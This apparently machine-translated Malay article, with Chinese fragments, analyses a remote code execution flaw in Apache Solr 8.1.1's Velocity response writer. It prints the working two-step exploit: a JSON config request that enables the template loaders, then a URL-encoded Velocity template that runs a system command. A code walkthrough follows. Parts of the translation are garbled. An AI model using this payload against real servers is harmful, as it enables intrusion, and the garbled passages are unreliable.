Kerentanan RCE 0hari ditemui dalam Apache Solr (nombor kerentanan tidak diberikan Di sini kami hanya menghasilkan semula objek dan menganalisis keseluruhan proses RCE untuk kemudahan anda.
Versi Berulang: 8.1.1
Untuk melaksanakan RCE, anda perlu membahagikannya kepada dua langkah Pertama, sahkan bahawa aplikasi mempunyai a teras tertentu didayakan (anda boleh Lihat dalam Pentadbir Teras), aplikasi dalam contoh itu telah mycore didayakan,
dan kemudian mula-mula menghantar data json berikut ke antara muka konfigurasinya,
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
Kemudian lawati url berikut untuk melaksanakan RCE,
/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Mula-mula analisa paket data pertama, kerana ia adalah konfigurasi daripada mycore, jadi kita dahulukan Titik putus ditetapkan pada fungsi handleRequestBody SolrConfigHandler yang mengendalikan permintaan konfigurasi,
Oleh kerana ia adalah permintaan POST, ikuti fungsi handlePOST,
Dalam handlePOST, mula-mula keluarkan konfigurasi semasa mycore, dan kemudian bawa ke dalam fungsi handleCommands bersama-sama dengan konfigurasi yang kami hantar, dan dalam operasi seterusnya, akhirnya masukkan addNamedPlugin dan cipta objek VelocityResponseWriter Nilai solr.resource.loader.enabled dan params.resource.loader.enabled ditetapkan kepada benar, dan nama objek ialah halaju.
Kemudian apabila menghantar paket data kedua, apabila mendapat responseWriter dalam HttpSolrCall.call, objek responseWriter akan diperolehi mengikut nilai parameter wt velocity, apa yang kami dapat ialah VelocityResponseWriter kami yang dikonfigurasikan dengan teliti
Selepas beberapa siri panggilan berikutnya, ia akhirnya memasuki kerentanan kami yang paling serius. Fungsi VelocityResponseWriter.write mula-mula memanggil fungsi createEngine untuk menghasilkan enjin yang mengandungi templat hasad custom.vrm->payload
Templat hasad diletakkan di dalam enjin. Terdapat perkara yang sangat penting dalam
dalam params.resource.loader.instance dan solr.resource.loader.instance overridingProperties Jika anda mahu membiarkan templat hasad masuk params.resource Dalam .loader.instance dan solr.resource.loader.instance, anda perlu memastikan bahawa paramsResourceLoaderEnabled dan solrResourceLoaderEnabled adalah Benar Inilah yang dilakukan oleh paket data pertama kami,
<.>Kemudian VelocityResponseWriter.getTemplate akan mendapat templat berniat jahat yang kami bina berdasarkan parameter v.template yang kami serahkan Akhir sekali, templat berniat jahat dikeluarkan dan kaedah gabungannya, Untuk memahami templat ini, anda perlu memahami enjin templat Java Velocity (kerana tmplat ini ialah objek kelas org.apache.velocity.Template), terjemah kenyataan rasmi Seperti berikut,Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
// 变量定义 #set($name =“velocity”) // 变量赋值 #set($foo = $bar) // 函数调用 #set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) // 循环语法 #foreach($element in $list) This is $element $velocityCount #end // 执行模板 template.merge(context, writer);
Atas ialah kandungan terperinci Bagaimana untuk menganalisis kerentanan RCE terkini dalam Apache Solr. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!